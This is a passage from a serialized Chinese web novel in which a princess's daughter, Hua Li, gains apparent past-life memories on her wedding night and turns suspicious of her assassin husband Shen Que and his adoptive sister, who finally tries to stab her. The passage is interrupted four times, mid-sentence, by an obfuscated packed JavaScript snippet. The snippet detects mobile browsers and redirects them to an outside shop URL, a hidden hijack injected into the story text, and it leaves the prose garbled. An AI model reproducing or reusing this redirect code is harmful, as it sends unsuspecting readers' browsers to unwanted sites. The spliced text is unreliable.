交杯酒喝完后,华梨双手撑住脑袋看着沈确,最后抵不住沈确像个木头似的一点反应都没有,华梨微怒道: “还不过来,我头上的东西很重的。” 沈确这才回过神,低眉顺眼走到华梨身边。 “幸苦了,阿梨。” 华梨眨眨眼,而后像慢半拍似的,转过头:“你叫我什么?” 沈确心中不太确定了,他犹豫着低声道:“阿梨。” 沈确的声音和他的相貌一样优越,华梨又笑起来:“你怎么突然变聪明了,知道这么叫我。” 她说着,便自己拆下步摇,沈确亦将另外几个复杂的首饰取下,放在桌边。 待到轻松不少后,华梨站起身捧住沈确的脸。 沈确屏住呼吸。 这样的距离太近了。 比第一次两人见面时的距离还要近,华梨能嗅到沈确身上微弱的冷香。 华梨轻轻在沈确脸侧落下一吻。 像是春风拂面,梨花微绽,沈确脑袋一片空白,微微睁大的瞳孔昭示他的惊讶。 也只有这一吻。 华梨带着笑看着沈确,道:“你在想什么?” 沈确下意识回话:“什么也没想。” 华梨指甲抵着沈确的耳垂,没有动作,“那你猜我在想什么?” 话音刚落,一阵巨大的心悸袭来,华梨感到脑中像有什么东西要挤进来,她没站稳,勉强扶住手边的桌子。 沈确察觉华梨脸色突然变的不好,想上前扶住华梨,却被华梨下意识拍开,只得无措又沉默地看着华梨。 好半晌,华梨终于反应过来。 她不可置信的回想刚才的记忆,眼神落到沈确身上,记忆中带来的悲伤、厌恶几乎将她淹灭,她几乎是反射性对沈确骂道:“你给我滚出去!” 沈确微愣,华梨此刻的语气和以往全然不同。 就好像恨极厌极他。 早该如此的,不是吗? 在他杀死卫章的那个夜晚,沈确曾难得假设华梨得知真相后厌恶他的样子。但当华梨真的用这幅态度来对待他时,沈确发现自己依旧很难过。 明明上一刻还在逗弄他,下一刻却变了副模样。 他看见华梨悉心吩咐下人筹办婚宴,心中曾是有一瞬渴望,渴望华梨是真的看上他的脸,而非为羞辱他才纳他为赘婿。 可现在华梨的态度很显然,她只为折辱他。 沈确的眼神暗下去。 他张口,小声道:“阿梨……” 这句叫唤不知是出于什么心思,又或者说,他只是不知道说什么,便下意识叫了华梨的名,仿佛这个名字是他的救命稻草。 华梨蹙眉,她的脑袋还是不大明晰,肿胀般的痛意未曾消散,突如其来的记忆在脑海中愈发清晰。 她眼中仍带着强烈的厌恶和警惕,死死盯着沈确,像是要给眼前沉默无措的男人盯出一个窟窿。 那段记忆是什么? 华梨缓过来之后,脑中产生如此的疑问。 方才她脑海中突然出现很多陌生的片段,那些片段并不明晰,其中有两段记忆给她留下的印象最深。 一个是她面色苍白地躺在塌上,沈确握着她的手,她看不到沈确的脸,推测不出沈确的心情,但她能看到自己的神情是那样愤怒,记忆中的她将手从沈确手中抽离,狠狠给了对方一巴掌。 第二个片段,就是沈确和他那个非亲非故的妹妹卿卿我我。 华梨是个很聪明、又惯能分析现状的人。 她几乎是带着大胆又玄乎的想法,猜测突然出现在她脑海中的那些东西,也许是上辈子自己的记忆。 上辈子的自己或许也和沈确结为夫妻,然后被沈确害死,沈确则在自己死后,和姜不离长久恩爱。 华梨虽然小气,但就算她知道姜不离不是沈确的亲妹妹,她也从未胡乱猜测,因为这种猜测是最没有必要的。 可在接收完这段莫名其妙、疑似前世记忆的东西后,华梨想,自己是否需要重新思考沈确的为人,审视沈确和姜不离之间微妙的关系? 这时华梨才心惊,她和沈确认识的时间并不长,她所知道的一切都是由沈确和沈确身边的人告诉她的,她自大地认为沈确不会故意欺瞒自己,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958803|147119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以从未怀疑过对方话中真假。 如果没有这段记忆,她也许还会这样自大下去,若沈确真的心怀歹意,凭现在的她,根本看不出来。 她总认为沈确要杀自己,可以有无数次动手的机会。 但沈确偏偏没有。 她便以为对方对自己是良善的。 可饮过血的东西,无论是人还是蛇,都是极为危险的。 或许对方从一开始的目的就不是杀她,而是像现在这样骗取她的同情心、怜悯心,好叫她放松警惕,最后再杀死自己继承整个长公主府的财产。 或许他和姜不离一开始就是在对自己演戏呢? 她竟然从未想到过这个可能。 华梨感到一阵窒息,那是由于过度紧张引起心悸而导致的。 她重新看向沈确,对方哪怕被方才的自己那样对待,此时眼中也并无怨怼,只是看着她,眼中流露出恰到好处、会让上一刻的自己心动的迷茫和无措。 华梨缓缓吐出浊气。 若这人以前和现在的表现都是伪装,那可真是叫她吃惊。 她自认在看人这方面极准,从未看走眼过。 只是这一切的基础都建立在她脑海中的记忆是真实发生过的。 “……我让你滚出去,你没有听到吗。” 华梨再次冷声命令。 她觉得有些可笑,无论那些记忆究竟是什么,到底会不会发生,她现在都不在意了。 因为她确确实实透过那些虚无缥缈的记忆看到沈确害死她的可能性。 华梨多疑,或者说身处高位的人都是多疑而警惕的。 她既没有完全相信那段出现在脑海中的记忆,也开始质疑沈确入赘的真实目的。 华梨又是嚣张的,她被那段记忆惹得很是不爽,脑袋莫名其妙的胀痛感也让他更是烦躁,于是她选择将怒火洒在沈确身上。在她的逻辑里,沈确也被钉上罪名。 这个命令并不是个严苛的命令。 它充满着羞辱的意味。 华梨想,若沈确是为长公主的财产而来,他能做到哪一步? 还是说一开始对方并没有这样的念头,但是在和她成婚后察觉她日复一日的乖张,受不了自己的性格,故而和姜不离合谋,害死自己? 华梨就这么想着,又思考出许多的可能性。 她总是这样,面对不确定的事就会考虑许多,但在行动上又格外果决,全然看不出内心的千回百转。 见沈确还不动作,华梨也不害怕,毕竟无论从哪方面来讲,沈确都不会在现在同她动手。 于是华梨伸手推了沈确一把,有些用力,但推不动。 沈确的目光从华梨的手转移到华梨的脸上,见到华梨脸上的不耐烦和厌恶后他有些发愣,小声问道:“为什么?” 为什么? 华梨做事不需要理由,她更没必要和沈确解释。 华梨本不打算开口,可她突然发觉沈确的眼神变化。 不再是单调如死水的麻木,也不是在她身边做侍卫时的收敛和服从,而是带着他自己都未曾察觉的、阴暗又潮湿的偏执。 他像一条毒蛇,死死盯着华梨,要华梨给他答案。 28. 第 28 章 说是毒蛇的眼神也不为过。 华梨上一次见到沈确这样带有攻击性的眼神还是在第二次见面时她揭穿对方的身份。 只不过那时候的眼神只有单纯的、仿佛猎杀敌人的天性。 而这次的眼神却让华梨以为对方是在觊觎自己。 华梨的心跳开始变快。 某种压抑理智的、企图压制对方的欲望在她眼中浮现。她和沈确的关系一直是猎物和狩猎者的关系,华梨喜欢掌握主动权,她无法忍受自己的猎物对自己露出獠牙。 但现在,她要退出狩猎,她不能让这种陌生的刺激感掌握自己的头脑。 她掐着自己的掌心,吐了口气,抬脚来到沈确面前, 沈确低头看着她。她掐住沈确的下巴,手指用力:“没有为什么。” 说完,她拽着沈确将门打开,这次只是稍微使力,就将对方推了出去。 华梨冷冷同门外的沈确对视,沈确自从得到华梨那个“没有为什么”的答案后,眼神就恢复惯有的麻木,任谁都看不出他到底在不在意那个回答。 站在门外守夜的侍卫和侍女听到动静后先是抬头,看到沈确被面色难看的华梨丢出来后,皆有眼色地低下头充当透明人。 夜色冷然,灯火通明。 火红、喜庆的灯笼悬挂在檐角,一阵风吹过把灯笼的光吹碎,摇晃着打在两人脸上。 沈确看着华梨,他在想华梨会怎么对待自己。 华梨同样也在想她该如何对付沈确。 半晌,她开口,声音比夜色要凉上好几分,火红的嫁衣穿在华梨身上,刺痛沈确的眼:“没我的允许,不准再踏入我的院子。” 话音落下的瞬间,华梨转身回屋。 院子里一片死寂,沈确像一个雕像似的站在原地,他高高束起的头发落在肩膀。 守夜的小侍女小心地挪动几步,低声道:“你快走吧,郡主的话……” 她的话戛然而止。 沈确那双毫无感情宛若兽类的眼睛看着她,小侍女可以肯定那是对方下意识的行为,也许是因为她提到了“郡主”,对方才从自己的思绪脱离看向她。 对方的眼中没有杀意,可寒意犹如冰水将她的口舌冻僵,小侍女被沈确吓到说不出话。 直到沈确移开眼神看向华梨的房门,她才感受到自己的身体是能够行动的。 小侍女这下子什么也不敢说了,对方杵在这里就杵在这里,等郡主出来发现他人还在这里,就等着郡主发火吧。 郡主最讨厌的就是不服从她命令的人了。 小侍女在内心有些嫌恶地想:最好能将这个恐怖的男人赶出府里,这种刚入赘进来就惹得郡主的男人留着也没什么用。 她敛下眼中对沈确的嫌弃站回原处。 如春回来的时候就看见这幅场景,她心中有些意外,自己只不过去向长公主回个话,为何回来时沈确就被赶到院子里。 “怎么回事?” 这句没问沈确,如春大概能猜到,这个人除了面对华梨时会多说几句话,面对其他人时都很沉默。 小侍女抢先回答:“方才郡主将他赶出来,还说以后没她的吩咐,不准让姑爷入内,” 那句姑爷多少带有几分讽刺,如春猜不到为何华梨对沈确的态度忽然转变这么多,但不妨碍她执行华梨的命令。 她皱眉对沈确道:“郡主既然有吩咐,你就不要再留在这里。” 见沈确没什么反应,小侍女忍不住对如春告状:“方才我不过提醒他一句,他就瞪我,我不过是想提醒他郡主的吩咐罢了。” 如春在侍女中一直是温柔体贴的模样,她安抚地拍拍侍女的肩膀,转头对沈确道:“郡主不喜欢不服从命令的人,我不知道你哪里惹怒郡主,但既然进了长公主府,你就要好好听郡主的话。” 沈确手指动了动,他身上的气氛太可怖,侍女害怕他,忍不住躲到如春身后。 但沈确什么也没做,他沉默地走出内院。 这是第一次,沈确感受到自己体内腾生、滋养着某种情绪,像愤怒像不甘,他想他是有点恨华梨的。 起码在今夜是这样。 此前,他清楚地知道自己于华梨不过是个消遣的玩物,他杀了华梨先前的心上人,哪怕华梨似乎并没有那么在意对方,但华梨的领地意识格外的强,他动了对方的人,对方讨厌他是理所应当的。 同时他也不知傻子,他身份卑贱,低如尘土,谁会给予真心。 他知道一切都是假的,对方对他的笑意、给他的温情、落下的吻,每一件都是假的。 可他产生了难言的渴望和希冀。 他恨华梨。 如果当年对方没有怜悯地伸出手,他会死在大雨天, 他恨华梨。 给了他过去和现在活着的渴欲,却又将他弃之如敝屣。 沈确缓慢眨着干涩的眼,不知何时落下的泪水划开凉薄的夜色,他抬手拭去脸上陌生的泪珠,他疑惑看着手指濡湿的痕迹,心中有隐隐闷痛。 他不知道那是什么情绪。 . 华梨回到房中后没多久便叫水洗漱,如春端着水进来的时候她正伏案书写什么。 听到动静她放下毛笔。 “郡主,姜姑娘已经按照您的吩咐接入府内。” 华梨这才想到被自己忘记的事,她想到今日姜不离偷偷外出的举动,又忆起先前莫名的记忆,气不打一出来:“没说什么?” “向人道了歉。” 华梨沉默,问:“你觉得他们兄妹两人怎么样?我是说他们两个的关系。” 如春沉吟片刻:“在府上的这些日子,姑爷似乎没有找过姜姑娘,姜姑娘也很少主动提及姑爷,像是在避嫌?但只凭这些天恐怕看不住什么。” “你说的对,是看不出什么。” 如春基本没有接触过姜不离,可她却接触过,对方当时表现对沈确的又惧又恨不似作伪。 有三种可能。要么是这两个非亲非故的兄妹演技了得,将她一并骗了过去,要么是两人现在的关系确实不好,也许是未来发生了什么,改变了两人的关系。 最后一种可能,那段记忆在欺骗她,也许那并不是未来一定会发生的事。 无论是那种可能都值得计较。 但就目前的情况来看,这两人都很危险。 姜不离会用毒,就算她不会用毒,她身边也一定有会用毒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007219|147119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。沈确则不必多言,一个悬赏次次都能完美完成的杀手。 要赶出去吗? 答案是否定的。 既然知道脑子里多出的那些零碎记忆是在沈确入赘后发生的,她自然不会将人赶出去,引发其他事来。 这种情况下,她要把危险放在自己眼皮子底下排除。 那些零碎的记忆有太多疑点,不止是姜不离和沈确的关系,还有她是怎么死的。 一想到记忆中的自己孤独死在病榻上,华梨就止不住的害怕。 思绪回转,华梨看着如春道:“你派人去查查他们二人的关系,还有沈确和姜不离的身世。” 如春心思细腻,知道也许是发生了什么意料之外的事,“是有什么不对吗?” 华梨不好告诉如春自己所想的事,略一思索,她道:“那两人不是亲兄妹。” 如春不知道这件事,“不是亲兄妹?那为何……” 华梨知道如春的未尽之言是想说什么,不是亲兄妹,沈确还能任劳任怨照顾对方这么多年,姜不离还在沈确大婚之日失踪,很难叫人不多想。 “其余的事你不必多问也不必多想,另外,我不想让更多的人知道这件事,所以切记隐蔽。” 如春应是。 华梨有些头疼地支起脑袋,她手指抵住太阳穴:“安排人跟在那二人身边,其余一切照旧。” 她想了想补充道:“明早让沈确过来给我梳发。” 京城说大不大说小不小,达官贵人后院里那点事不过片刻就能穿遍全城。 华梨突然纳赘婿这件事已经够惹眼,晚上长公主府里又传出消息:那个容貌绝佳的姑爷惹怒华梨,在新婚之夜被赶出去,听说当时华梨的神色很是难看。 这件事不知是谁传出来的,逐渐衍生出各种说法。 姜不离刚被接到长公主府,就听到这些言论,她脸色一僵。 照顾姜不离的那两个侍女因姜不离出逃这件事对她态度转差,姜不离并不是个善于交际的人,她敏锐察觉到这股变化,便也不主动找两位侍女说话。 她将房门关上,拿起医术,看了半天翻不动一页,脑子里一片混乱。 难不成是因为自己今日的行为惹怒华梨,所以对方把火气撒到沈确身上? 若是从前,姜不离求之不得, 可一想到华梨曾对她说的话,便觉得有双手在挠她的心,好像她对不起沈确似的。 姜不离感到感到浑身上下都不舒服,正纠结见,外面有交谈的声音。 没过多久,敲门声传来,打开门是两个陌生的侍女。 其中一个脸比较小的侍女看见她就笑:“小姐好,先前两个侍女姐姐被调到其他院落了,今后是奴婢和青杏负责您的日常起居。” 她脸上的笑是真心的笑,看上去因为年龄小,要开朗很多。 姜不离愣住。 更换侍女是谁的意思? 华梨? 为什么? 是害怕先前的侍女因为今日的事故意疏忽待她吗?还是有什么阴谋诡计? 姜不离垂下眼帘,神色不明。 也许是为了降低她的警惕心吧,能看上沈确的人会有什么好心思。 29. 第 29 章 第二日清晨,沈确来到内院。 周围人的目光或多或少落在他的身上,小声的窃窃私语传入脑中,他面上没什么变化。 叩门两声,屋中传来华梨的声音。 他顿了一瞬,而后推门而入。 屋内华梨正坐在梳妆台前,柔顺的黑发披散在肩后,她眼睛闭着,似乎没有注意到来人。 沈确走路时没有声音,像鬼魅似的走到华梨身后,一旁的侍女下了一大跳,磕磕绊绊道:”郡主……“ ”嗯?“华梨睁开眼,首先看到的就是倒映在铜镜中沈确的面孔,沈确在透过镜面看着她。 不知为何,这个认知让华梨感到紧张。 那些记忆不仅让她更加警惕沈确,也让她对沈确这个危险又不可控的角色更加心动,每次见到他,华梨心中的情绪就好似要喷涌而出,无法控制。 即使如此,华梨依然冷着一张脸。 沈确在入赘之前学了许多东西,其中就有替华梨梳发。 他见华梨没有开口斥责自己、赶自己出去,心中莫名松了口气,微一垂眸,沈确将拿起端盘上的木梳,木梳尾端沾水,他另外一支手拿起华梨的一束头发,用木梳从头梳到尾。 无意间,沈确的小拇指碰到华梨的耳尖。 华梨觉得有点痒,她抬手却碰到沈确的手。 平和的气氛突然变的僵硬。 华梨的嘴角弧度绷直,她转头看着沈确,头发蹭过沈确的手背:“你干什么?” 冷漠的质问让沈确停顿动作,“……抱歉。” “……”华梨仿佛打在一团棉花上,无论是以前还是现在,沈确都未曾对她敞开心扉,他始终是冷冰冰的模样,华梨猜不透这个人的欲望,不清楚对方想得到什么。这些天她能察觉到沈确似乎有变化,但昨夜她的举动又让这段关系回到原点。 谈不上后悔,华梨鲜少为过去的事烦恼。 她在想,如果沈确有所图谋,他不该这个样子。 没人会对一块石头感兴趣,但与此同时,没人会故意对一块石头发火。 华梨盯着沈确,沈确避开她的眼睛。 “你们都出去。” 半晌,在这种窒息的气氛中,华梨开口。 沈确刚要挪动步子,华梨怵然拉住他的袖子,“你留下。” 待到房间中的人只剩下华梨和沈确两人,她用脚尖勾起鞋穿上,华梨的发髻还没梳好,她干脆将另外扎起来的头发松开。 “你为什么要来长公主府?” “……你说的,我入赘,你给姜不离治病。” 这个说法在华梨意料之中,可华梨的心中仍不满,她顿了顿,终究没收住脾气,气笑了。 “你是不是觉得自己特别刚直?” “?”沈确因为华梨突如其来的讽刺茫然半瞬,他略微抬高眼眸,将目光从毛毯挪到华梨的脸上。 他认真回答:“没有。” 华梨拽追沈确的头发让他被迫弯腰与自己平视,“你知道你自己现在的身份吗?” 华梨不止有高强度的领地意识,她还有将近偏执的占有欲。 从幼年到现在,没有她得不到的东西,人亦是如此。 沈确既然愿意入赘,那就是她的人,她也许喜欢他,所以那份占有欲更加肆虐,在她的心里一直燃烧,她警惕、讨厌又对沈确有高度的占有欲。 人伦理念被那股火烧的寸草不生,所谓人心算计、体谅大度,她全然看不见。 “你很在乎她吗?” 华梨的眼睛黑洞洞的,她手上的力道逐渐加重。 沈确看着华梨,慢半拍的反应过来华梨生气了。 不知为何他惧怕华梨生气。 哪怕华梨看上去柔弱无害,他能悄无声息地将她掐死,让她成为一朵凋零衰败的花。 沈确克制住内心的破坏欲,“我不知道。” 他认真回复华梨的话:“为什么会这么问?” 华梨一愣,没想到沈确会反客为主质问自己,观他茫然的样子,又似乎只是无心的询问。 她蹙眉,想到自己方才的失态,略微调整语气:“谁允许你质问我。” 沈确见华梨的神态一变再变,兽类的直觉让他再次沉默,直觉告诉他,他现在不该多言。 于是沈确脸上的神情逐渐变的漠然,就像成心要气华梨似的,不温不火说到:“抱歉。” 华梨的怒火总能被这句话掐断,她一不做二不休,没有松开手:“所以你知道你的身份吗?” “你的夫婿。” 直白到可怕的回答,华梨被这个回答噎住,心中的火竟然莫名熄灭半丈。 她有点满意沈确的识趣,也仅仅是满意,“既然你能认清自己的身份,那就记住。”她松开拉住沈确头发的手,将沈确往后推半步,“你要绝对以我为首。” 寻常夫妻是不是这样相处华梨不知道,但既然沈确是自己的夫婿,那他就要按照自己的想法来行事,她觉得他要绝对服从自己,那他就必须要这么做。 看见沈确毫不抵触地应是,华梨仍觉得有什么没有被满足。 她不大明白那是什么,故而将那种情绪搁置在一旁,让沈确为自己簪发。 她手指摆弄桌面上的玉簪,心中想:她这样的脾气,沈确受不了以至于后来想要谋杀她实属正常。 可怎么想都很不爽。 如果沈确真的对她动了歪心思,她一定会让对方不得好死。 只是现在……她还在观察。 “那个耳坠。” 华梨和沈确之间的相处向来是华梨主动开口,或者华梨逼迫沈确开口。此时沈确突然开口,华梨十分惊讶。 “什么耳坠?我给你的那对?” 沈确正在为华梨带上耳坠,他眼神暗淡,“第一次见面时那个。” 华梨身边的奇珍异宝太多,平日她不大能记得自己哪套首饰,但沈确口中的那对耳坠她恰好记得。 她透过花镜看着沈确骨节分明的手,莫名想到这双手现在要想掐死自己,恐怕她连反抗呼救的机会都没有 华梨将卫章的死状从自己的脑海中挥去,“记得,你喜欢那个?我似乎已经给别人了。” “……我知道,那个是我送回来的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019623|147119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 华梨觉得这句话多少有点奇怪,她的第一反应是府中的戒备果然还是不行。 想问的问题太多,华梨张口时竟只发出一个单调的音节:“嗯?” 她看着镜中的自己和沈确,道:“你把那个送回来干什么?” “那是你遗落下的。” “所以你当时一直待在屋顶,还看到我把耳坠分给侍女?” “嗯。” 这多少有点惊悚,甚至可怕。 华梨好似第一次触碰到沈确的阴暗面似的,感觉很新鲜的同时后背发凉。 “为什么你要在那里待上一晚上?” 沈确沉默,面对不想回答或者很难回答的问题时,他会下意识如此,但只要想到先前华梨的话,他又开口:“我不知道。” 他说不知道那就是真的不知道,华梨不指望接着问,总之答案不太重要,她会自己推测。 “所以你为什么要突然提及这件事?” “要多说话,作为夫婿。”是先前守门侍卫告诉他的,成为华梨身边的人之后,要多说话,不能总是等华梨主动找他。 沈确原本不打算这么做,可华梨今日的态度又让他不确定。 每次当他以为华梨厌恶自己时,华梨都会让他陷入怀疑。 就像刚才,华梨似乎并不讨厌自己。 他不太能琢磨华梨的思想,却能够感受到对方的情绪变化,他只能适应华梨的多变。 他恨着华梨的冷漠,又想靠近她的温柔。 沈确的主动让华梨意想不到,若是之前,她会觉得沈确可爱,但现在…… 未免可疑。 但如果默许对方这种行为,也许才能看透对方的真实目的,况且她并不反感目前对方的行为。 “你做的很好。”她没头没尾地夸了一句。 她站起来对沈确道:“我之前应该是忘记说了,既然你到长公主府里成了我的人,就不要不把自己的命不当回事,你平日想做什么我也不会阻止,但有事要提前同我讲。” “你从影阁脱身了吗?” 沈确思索片刻,似在组织语言,“影阁里都是亡命之徒,不存在脱身一说,没钱只有一条命的人自然会去那里。” “如果有人泄露影阁消息怎么办?比如你现在同我讲的东西,我能听?” “可以,你不一样。” 没有故意调情的意思,沈确在陈述事实,他觉得这些事她能知道。不是情人爱侣之间对于彼此秘密的透露,而是笃定她知道则件事后不会遭到反噬。 华梨点了点下巴,懒得往深处想。 “你还没有同我讲万一有人泄露消息怎么办,你们被喂了毒?” “嗯,三月发作一次,泄露消息的人活不过毒发,自己的亲人手足亦会被赶尽杀绝。” 华梨觉得有意思:“那我万一把你讲的事告诉大理寺,是不是你死之后,我也要被送下去和你陪葬。” “不会,你不会死。” 有点无趣却意外好听的话,华梨没有问原因,她拍拍沈确的脑袋,“你可以退下了,记得每日的字帖要交上来。” 30. 第 30 章 华梨对沈确的态度十分随意。 沈确入府后三天,府上的人都这么想。 自上次梳发事件后,华梨未曾主动见过沈确,沈确不得允许,也不能够接近华梨。 两人的关系比大婚前还要冰冷。 长公主得知两人关系微妙,也未曾多说什么,她事务繁忙,哪怕回京也很少归府,大半时间都在府外度过。 一日下午,华梨想到明天要去参加华钧的生辰宴,她招来如春让对方提醒沈确。 她似无意般问道:“他最近在干什么?” “最初两天一直待在府上练字,第三天白天时不见踪迹,根据暗卫回复,是去了长影街。” 华梨有些不大高兴,她前些天分明和对方提过,要做什么之前同她汇报,可沈确还是直来直往。 她将手中的书卷拍在桌案上。 “啪——”的一声,昭示华梨心情不悦。 而且为什么这几天沈确都没有主动来找过她? 华梨已经全然忘记自己那夜说的气话。 她本打算将计就计,若沈确在接近她的时候心怀不轨,有危险举动,她会察觉到。 但谁知沈确从不来主动找她。 这算什么? 华梨觉得自己的好心情又要被沈确毁掉。 她略带烦闷地拂袖,宽大的袖摆扫落桌案上的一叠宣纸。 宣纸上的字迹僵硬却工整,华梨瞥了一眼,弯腰将它们捡起来。 指尖触及纸面时,华梨看清了纸上的内容。 在众多摘抄游记里,混杂一张沈确写的“信”。 准确来说那算不上信。 纸上内容交代着沈确自己的行踪,他早在出府前,就将自己要做的事写在纸上,交到华梨面前。 只是华梨忽略掉了。 华梨眨眨眼,抽出那张特殊的宣纸。 他原来记得她说过的话。 华梨内心郁气一扫而空。 她开始认真思索沈确目前的行为,最终得出一个结论,沈确所有的行为处事,是根据她的态度来决定的。 也许是最近自己表现的太具攻击性,就算他有什么歪心思,也不敢在这个时候实施。 所以她如果想证实那段记忆的真实性,就要装作不知道那段记忆,用先前的态度待他。 可千万莫要叫她失望啊。 华梨盯着纸上的字,这般想到。 · 只是华梨没想到沈确没来找她,姜不离倒是先来了。 她有些惊讶,想不出什么事会让姜不离愿意主动来见自己。 平心而论,她并不讨厌姜不离。 姜不离先前所作的事于她而言不痛不痒,毕竟她对所有人的态度都是一样的轻视,不放在眼里。 只是那段记忆里的事多少让她有些膈应。 但既然打算引狼入室,就没有把人往外赶的道理。 华梨抬眸,看着掀帘而入的姜不离。 对方身上的药味淡了许多,淡青色的裙衫显得她很清瘦。但她整体精神气好了不少,脸上多出几分血色,不似最初见面时的脆弱。 华梨屏退侍从,不打算在这种事上为难姜不离。 果然,侍从一退下,姜不离脸上温和的神色就端不住,明明她在沈确面前都会装模作样几分。 华梨的表情很是嘲弄,似是在欣赏、叹然姜不离脸色变化之快。 “你为什么那么对他?” “对谁?” “……沈确。” 姜不离不是很想说沈确的名字,半晌才低声吐出这两个字。 华梨语气平平:“他是我的人,我想怎么对他都和你没什么关系吧,妹妹。” “是不是因为我?” “?”华梨这回是真的被姜不离的话惊到,她惊疑不定的目光像是火,烧在姜不离没一片被她注视的肌肤上。 终于找回自己的声音,华梨用难言的语气道:“你为什么会这么觉得?” 姜不离有些恼羞成怒,她忍着想要立刻从华梨书房逃走的冲动,站在原地,双眼盯着绣鞋的鞋尖。 “……因为我那天跑了。” 华梨目光收回,“不是。我说过,我怎么对他和你无关。” “所以你真的是为了羞辱他,才让他入府?” “这是他和你说的?” 姜不离点头。 华梨大概能明白沈确的想法,只不过到底是两人串通起来的戏,还是其他的什么,她就猜不出来了。 她搓了搓指尖,“你信?” “之前不信。” 也就是现在信。 华梨不太想回答这个问题,她故意将话题岔开,“所以你为什么要来找我,如今这个场面,难道不是你想看到的吗?你不是很讨厌他巴不得他为你的亲哥哥偿命吗?” 姜不离果真被华梨带偏,她瞪着华梨,语气很冲,声音却很小,“你从小金枝玉叶自然不会懂!我当然恨他,怎么会不恨,可有的时候我又不是那么恨他。” “我当然不懂,我为什么要懂,别人给我的好处我就受着,我既然有这份身份优势,我为什么不用?又凭什么不用?” “退一万步来讲,他真的是为你入府,又因你受苦,和你又有什么关系,这是他心甘情愿的。” “不是!” 姜不离立马反驳。 她的神情在这一刻变得极为奇怪,似乎从未说过这种话。 “他不是因为我。” “他一直养育我,是因为他觉得对我哥哥有愧疚,和我没有任何关系。他要入赘的时候,我是不同意的,如果他真的是为我,他会在事前同我讲。” “他有自己的私欲。” 姜不离直勾勾盯着华梨,像是看到一个不可思议的奇珍。 华梨沉默。 她总算发现了,她总会遇到一些精神上有问题的人。 华钧有问题,沈确也有问题,姜不离也不例外。 一旦她触碰到对方某个点,他们身上的诡异性就会一览无余地展现出来。 譬如现在的姜不离。 她敏锐地察觉到危险。 华梨面上不动如山,脚却挪动半步,作出一个容易起身的动作。 “你说一个原本要下地狱的人,凭什么能有自我的欲望。” 姜不离走上前,她看出华梨想逃跑的举动,侧身将华梨的路堵住,脸上扬起带着凉意的笑容。 “郡主,小姐,阿梨?他是怎么叫你的?” 华梨心中暗骂一句。 她冷冷看着姜不离,没说话。 “阿离,我哥哥是这么叫我的。你低估了我对沈确的恨意,我比你想象中要恨他!” 话落的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027472|147119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间,姜不离抽出身上藏着的匕首,向华梨刺来。 但下一刻,她便被暗中潜藏的暗卫钳制。 匕首落在地上发出清脆的碰撞声,姜不离的脸贴住地面,瞳孔倒印匕首闪烁寒光的刃面。 华梨站起身用脚踩住匕首,将它踢到一边,而后蹲下身俯视姜不离。 “你为什么会觉得,能伤到我呢。” 轻佻的语调带着潜藏的怒气。 “……”姜不离自被压在地上后,就不再言语。 华梨看着姜不离倔强的样子,轻笑一声,开始慢悠悠回答她先前的问题: “他叫我阿梨,只是最近貌似不太敢这么称呼我。” “我确实低估了你对沈确的恨意,也低估了你的聪明。” 华梨手指戳了戳对方的额头,像是姊妹之间亲密的举动,“可你是个人才。” “上一个欲对我行凶的人,是个小孩,我让侍从把他送到官府判刑定罪了。再上一个,被我阉掉杀了。” 华梨轻轻皱眉,似是烦恼怎么处理眼前的人。 她俯身,“你想我怎么对你呢。” 姜不离依旧不说话,打定主意沉默到底。 “你似乎笃定我不会对你动手,虽然我确实不会对你动手。所以你今日行刺的结果,无论是那种,都是你所期望的。” “你觉得杀了我,沈确会痛苦内疚,不对,你知道自己杀不了我。既然杀不了我,要么是我对沈确更加厌恶,要么是我将恨意全部归结到你身上,沈确从中脱身,你不再受他恩惠,当还他的照拂之恩。” 华梨似乎觉得很有意思,她的手指触到地面,轻敲两下,“从各方面来看,你比他聪明好多。” “可你最想要的是那种结果呢?” 她是真心在询问这个问题,华梨觉得姜不离也很有意思,她看不透姜不离。最初,她以为姜不离虽然不太正常,但本质应该和华千流是一类人。 但是并不是。 